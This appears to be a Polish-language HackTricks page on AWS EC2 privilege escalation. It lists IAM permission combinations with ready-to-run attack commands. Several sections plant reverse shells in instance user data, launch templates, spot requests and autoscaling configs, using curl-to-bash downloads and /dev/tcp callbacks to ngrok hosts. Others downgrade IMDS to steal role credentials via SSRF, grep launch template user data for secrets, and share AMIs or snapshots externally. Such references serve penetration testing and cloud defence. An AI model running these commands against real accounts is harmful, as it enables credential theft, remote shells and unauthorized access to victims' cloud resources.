AWS - EC2 Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

EC2

Więcej informacji o EC2 znajdziesz tutaj:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Atakujący może utworzyć instancję z dołączoną rolą IAM, a następnie uzyskać dostęp do tej instancji, aby ukraść poświadczenia roli IAM z endpointu metadanych.

  • Dostęp przez SSH

Uruchom nową instancję używając utworzonego ssh key (--key-name) i zaloguj się przez ssh do niej (jeśli chcesz utworzyć nowy możesz potrzebować uprawnienia ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Dostęp przez rev shell w user data

Możesz uruchomić nową instancję przy użyciu user data (--user-data), które wyśle do Ciebie rev shell. W ten sposób nie musisz określać security group.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Uważaj na GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją:

AWS - GuardDuty Enum

Potencjalny wpływ: Direct privesc do dowolnej roli EC2 przypisanej do istniejących instance profiles.

Privesc do ECS

Dysponując tym zestawem uprawnień możesz także utworzyć instancję EC2 i zarejestrować ją w klastrze ECS. W ten sposób ECS usługi będą uruchamiane wewnątrz instancji EC2, do której masz dostęp, a następnie możesz przełamać te usługi (kontenery docker) i ukraść przypisane im role ECS.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Aby dowiedzieć się, jak zmusić usługi ECS do uruchomienia się w tej nowej instancji EC2 sprawdź:

AWS - ECS Privesc

Jeśli nie możesz utworzyć nowej instancji, ale masz uprawnienie ecs:RegisterContainerInstance, możesz być w stanie zarejestrować instancję w klastrze i wykonać opisany atak.

Potencjalny wpływ: Bezpośredni privesc do ról ECS przypisanych do zadań.

iam:PassRole, iam:AddRoleToInstanceProfile

Podobnie jak w poprzednim scenariuszu, atakujący z tymi uprawnieniami mógłby zmienić rolę IAM zaatakowanej instancji, aby móc wykraść nowe poświadczenia.
Ponieważ instance profile może mieć tylko 1 rolę, jeśli instance profile już ma rolę (częsty przypadek), będziesz także potrzebować iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Jeśli instance profile has a role i atakujący cannot remove it, istnieje inne obejście.
Atakujący może find an instance profile without a role lub create a new one (iam:CreateInstanceProfile), add the role do tego instance profile (jak omówiono wcześniej), i associate the instance profile skompromitowanego do skompromitowanej instance:

  • Jeśli instancja doesn’t have any instance profile (ec2:AssociateIamInstanceProfile)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potencjalny wpływ: Direct privesc to a different EC2 role (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienie lub specyficzny stan profilu instancji).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Dzięki tym uprawnieniom możliwe jest zmienienie profilu instancji przypisanego do instancji, więc jeśli atakujący już ma dostęp do instancji, będzie mógł zdobyć poświadczenia innych ról przypisanych do profilu instancji, zmieniając ten powiązany z nią.

  • Jeśli ma profil instancji, możesz usunąć profil instancji (ec2:DisassociateIamInstanceProfile) i powiązać go
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • lub zastąpić instance profile skompromitowanej instancji (ec2:ReplaceIamInstanceProfileAssociation).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>

Potencjalny wpływ: Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienie lub specyficzny status instance profile).

ec2:RequestSpotInstances,iam:PassRole

Atakujący z uprawnieniami ec2:RequestSpotInstancesandiam:PassRole może zażądać Spot Instance z dołączoną EC2 Role i rev shell w user data.
Gdy instancja zostanie uruchomiona, atakujący może ukraść rolę IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Atakujący posiadający uprawnienie ec2:ModifyInstanceAttribute może modyfikować atrybuty instancji. Wśród nich może zmienić user data, co oznacza, że może sprawić, by instancja uruchomiła dowolny kod. To może być użyte do uzyskania rev shell na instancji EC2.

Należy pamiętać, że atrybuty można modyfikować tylko, gdy instancja jest zatrzymana, więc potrzebne są uprawnienia ec2:StopInstances i ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potencjalny wpływ: Bezpośrednie privesc do dowolnej EC2 IAM Role przypisanej do utworzonej instancji.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Atakujący posiadający uprawnienia ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate może utworzyć new Launch Template version z rev shell in the user data i przypisać do niej any EC2 IAM Role on it, zmienić wersję domyślną, a any Autoscaler group using that Launch Template that is configured to use the latest or the default version ponownie uruchomi instancje używające tego szablonu i wykona rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Potencjalny wpływ: Bezpośredni privesc do innej EC2 role.

(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)

Atakujący z uprawnieniami autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole może utworzyć Launch Configuration z IAM Role i rev shell wewnątrz user data, następnie utworzyć autoscaling group z tej konfiguracji i poczekać, aż rev shell wykradnie IAM Role.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potencjalny wpływ: Bezpośredni privesc do innej roli EC2.

!autoscaling

Zestaw uprawnień ec2:CreateLaunchTemplate i autoscaling:CreateAutoScalingGroup nie wystarcza, aby przeprowadzić eskalację uprawnień do roli IAM, ponieważ aby przypisać rolę określoną w Launch Configuration lub w Launch Template potrzebujesz uprawnień iam:PassRole i ec2:RunInstances (co jest znanym privesc).

ec2-instance-connect:SendSSHPublicKey

Atakujący z uprawnieniem ec2-instance-connect:SendSSHPublicKey może dodać klucz ssh do użytkownika i użyć go, aby uzyskać dostęp (jeśli ma dostęp ssh do instancji) lub aby eskalować uprawnienia.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Potencjalny wpływ: Bezpośredni privesc do ról IAM EC2 przypisanych do uruchomionych instancji.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Atakujący z uprawnieniem ec2-instance-connect:SendSerialConsoleSSHPublicKey może dodać klucz ssh do połączenia szeregowego. Jeśli konsola szeregowa nie jest włączona, atakujący potrzebuje uprawnienia ec2:EnableSerialConsoleAccess, aby ją włączyć.

Aby połączyć się z portem szeregowym, musisz również znać nazwę użytkownika i hasło użytkownika wewnątrz maszyny.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Ten sposób nie jest zbyt użyteczny do privesc, ponieważ do jego wykorzystania trzeba znać nazwę użytkownika i hasło.

Potencjalny wpływ: (trudne do udowodnienia) Bezpośrednie privesc do EC2 IAM roles przypisanych do uruchomionych instancji.

describe-launch-templates,describe-launch-template-versions

Ponieważ launch templates mają wersjonowanie, atakujący posiadający uprawnienia ec2:describe-launch-templates i ec2:describe-launch-template-versions mógłby je wykorzystać do odkrycia poufnych informacji, takich jak poświadczenia znajdujące się w user data. Aby to osiągnąć, poniższy skrypt iteruje przez wszystkie wersje dostępnych launch templates:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

W powyższych poleceniach, chociaż określamy pewne wzorce (aws_|password|token|api), możesz użyć innego regexu, aby wyszukać inne typy wrażliwych informacji.

Zakładając, że znajdziemy aws_access_key_id i aws_secret_access_key, możemy użyć tych poświadczeń do uwierzytelnienia w AWS.

Potencjalny wpływ: Bezpośrednia eskalacja uprawnień do użytkownika(ów) IAM.

Referencje

ec2:ModifyInstanceMetadataOptions (obniżenie zabezpieczeń IMDS w celu umożliwienia SSRF i kradzieży poświadczeń)

Atakujący, który ma możliwość wywołania ec2:ModifyInstanceMetadataOptions na docelowej instancji EC2, może osłabić zabezpieczenia IMDS, włączając IMDSv1 (HttpTokens=optional) i zwiększając HttpPutResponseHopLimit. To sprawia, że endpoint metadanych instancji staje się osiągalny przez typowe ścieżki SSRF/proxy z aplikacji uruchomionych na instancji. Jeśli atakujący potrafi wywołać SSRF w takiej aplikacji, może pobrać poświadczenia profilu instancji i pivotować przy ich użyciu.

  • Wymagane uprawnienia: ec2:ModifyInstanceMetadataOptions na docelowej instancji (plus możliwość dotarcia/wywołania SSRF na hoście).
  • Docelowy zasób: działająca instancja EC2 z dołączonym instance profile (rola IAM).

Przykład poleceń:

# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1

Potencjalny wpływ: Kradzież poświadczeń profilu instancji przez SSRF prowadząca do privilege escalation i lateral movement z uprawnieniami roli EC2.

ec2:ModifyInstanceMetadataOptions

Atakujący mający uprawnienie ec2:ModifyInstanceMetadataOptions może osłabić zabezpieczenia Instance Metadata Service (IMDS) — na przykład wymuszając IMDSv1 (sprawiając, że HttpTokens nie są wymagane) lub zwiększając HttpPutResponseHopLimit — ułatwiając w ten sposób exfiltration tymczasowych poświadczeń. Najbardziej istotnym wektorem ryzyka jest podniesienie HttpPutResponseHopLimit: zwiększając ten limit hopów (TTL), endpoint 169.254.169.254 przestaje być ściśle ograniczony do namespace sieciowego VM i może stać się osiągalny przez inne procesy/kontenery, umożliwiając kradzież poświadczeń.

aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2

ec2:ModifyImageAttribute, ec2:ModifySnapshotAttribute

Atakujący posiadający uprawnienia ec2:ModifyImageAttribute i ec2:ModifySnapshotAttribute może udostępniać AMIs lub snapshots innym kontom AWS (a nawet uczynić je publicznymi), ujawniając obrazy lub wolumeny, które mogą zawierać wrażliwe dane, takie jak konfiguracje, poświadczenia, certyfikaty lub kopie zapasowe. Poprzez modyfikację AMI’s launch permissions lub snapshot’s create-volume permissions, atakujący pozwala osobom trzecim uruchamiać instancje lub montować dyski z tych zasobów i uzyskać dostęp do ich zawartości.

To share an AMI with another account:

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Aby udostępnić EBS snapshot innemu kontu:

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks